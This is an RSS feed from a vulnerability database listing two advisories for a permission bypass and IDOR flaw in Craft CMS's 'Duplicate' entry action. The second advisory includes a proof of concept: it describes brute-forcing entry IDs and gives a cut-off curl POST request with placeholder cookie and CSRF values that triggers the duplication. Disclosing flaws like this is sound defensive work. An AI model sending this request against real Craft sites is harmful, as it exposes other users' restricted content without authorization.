<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://vulnerability.circl.lu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 05 Oct 2026 02:54:07 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-28782</title>
      <link>https://vulnerability.circl.lu/vuln/fkie_cve-2026-28782</link>
      <description>&lt;p&gt;Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the &amp;#34;Duplicate&amp;#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &amp;#34;View Entries&amp;#34; permission (where the &amp;#34;Duplicate&amp;#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users&amp;#39; entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Craft is a content management system (CMS). Prior to 5.9.0-beta.1 and 4.17.0-beta.1, the &amp;#34;Duplicate&amp;#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements. Even with only &amp;#34;View Entries&amp;#34; permission (where the &amp;#34;Duplicate&amp;#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request. Furthermore, this vulnerability allows duplicating other users&amp;#39; entries by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system. This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/fkie_cve-2026-28782</guid>
    </item>
    <item>
      <title>GHSA-jxm3-pmm2-9gf6 — Craft CMS has Permission Bypass and IDOR in Duplicate Entry Action</title>
      <link>https://vulnerability.circl.lu/vuln/ghsa-jxm3-pmm2-9gf6</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Description
The &amp;#34;Duplicate&amp;#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only &amp;#34;View Entries&amp;#34; permission (where the &amp;#34;Duplicate&amp;#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request.&lt;/p&gt;
&lt;p&gt;Furthermore, this vulnerability allows duplicating **other users&amp;#39; entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.&lt;/p&gt;
&lt;p&gt;## Proof of Concept
### Prerequisites
- A user with &amp;#34;View Entries&amp;#34; permission on any section.&lt;/p&gt;
&lt;p&gt;### Steps to Reproduce
1. Log in as a user with minimal permissions (&amp;#34;View Entries&amp;#34;).
1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).
1. Send the following cURL request:
   &amp;gt; Replace `craft.local`, `&amp;lt;Cookie&amp;gt;`, `&amp;lt;CSRF&amp;gt;` and `6393` (which is the entry ID):
   ```bash
   curl --path-as-is -i -s -k -X $&amp;#39;POST&amp;#39; -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json&amp;#39; -H $&amp;#39;Content-Type: application/json&amp;#39; -H $&amp;#39;X-CSRF-Token: &amp;lt;CSRF&amp;gt;&amp;#39; -H $&amp;#39;Content-Length: 216&amp;#39; -b $&amp;#39;&amp;lt;Cookie&amp;gt;&amp;#39; --data-binary $&amp;#39;{\&amp;#34;context\&amp;#34;:\&amp;#34;index\&amp;#34;,\&amp;#34;elementType\&amp;#34;:\&amp;#34;craft\\\\elements\\\\Entry\&amp;#34;,\&amp;#34;source\&amp;#34;:\&amp;#34;section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\&amp;#34;,\&amp;#34;viewState\&amp;#34;:{\&amp;#34;static\&amp;#34;:true},\&amp;#34;elementAction\&amp;#34;:\&amp;#34;craft\\\\elements\\\\actions\\\\Duplicate\&amp;#34;,\&amp;#34;elementIds\&amp;#34;:[6393]}&amp;#39; $&amp;#39;http://cr…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Packagist: craftcms/cms&lt;/p&gt;
&lt;p&gt;## Description
The &amp;#34;Duplicate&amp;#34; entry action does not properly verify if the user has permission to perform this action on the specific target elements.
Even with only &amp;#34;View Entries&amp;#34; permission (where the &amp;#34;Duplicate&amp;#34; action is restricted in the UI), a user can bypass this restriction by sending a direct request.&lt;/p&gt;
&lt;p&gt;Furthermore, this vulnerability allows duplicating **other users&amp;#39; entries** by specifying their Entry IDs. Since Entry IDs are incremental, an attacker can trivially brute-force these IDs to duplicate and access restricted content across the system.&lt;/p&gt;
&lt;p&gt;## Proof of Concept
### Prerequisites
- A user with &amp;#34;View Entries&amp;#34; permission on any section.&lt;/p&gt;
&lt;p&gt;### Steps to Reproduce
1. Log in as a user with minimal permissions (&amp;#34;View Entries&amp;#34;).
1. Identify the target Entry ID (e.g., via brute-force `1` to `N`).
1. Send the following cURL request:
   &amp;gt; Replace `craft.local`, `&amp;lt;Cookie&amp;gt;`, `&amp;lt;CSRF&amp;gt;` and `6393` (which is the entry ID):
   ```bash
   curl --path-as-is -i -s -k -X $&amp;#39;POST&amp;#39; -H $&amp;#39;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0&amp;#39; -H $&amp;#39;Accept: application/json&amp;#39; -H $&amp;#39;Content-Type: application/json&amp;#39; -H $&amp;#39;X-CSRF-Token: &amp;lt;CSRF&amp;gt;&amp;#39; -H $&amp;#39;Content-Length: 216&amp;#39; -b $&amp;#39;&amp;lt;Cookie&amp;gt;&amp;#39; --data-binary $&amp;#39;{\&amp;#34;context\&amp;#34;:\&amp;#34;index\&amp;#34;,\&amp;#34;elementType\&amp;#34;:\&amp;#34;craft\\\\elements\\\\Entry\&amp;#34;,\&amp;#34;source\&amp;#34;:\&amp;#34;section:17da21e5-0cfe-41f5-8cd2-450a94f7989c\&amp;#34;,\&amp;#34;viewState\&amp;#34;:{\&amp;#34;static\&amp;#34;:true},\&amp;#34;elementAction\&amp;#34;:\&amp;#34;craft\\\\elements\\\\actions\\\\Duplicate\&amp;#34;,\&amp;#34;elementIds\&amp;#34;:[6393]}&amp;#39; $&amp;#39;http://cr…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/vuln/ghsa-jxm3-pmm2-9gf6</guid>
    </item>
  </channel>
</rss>
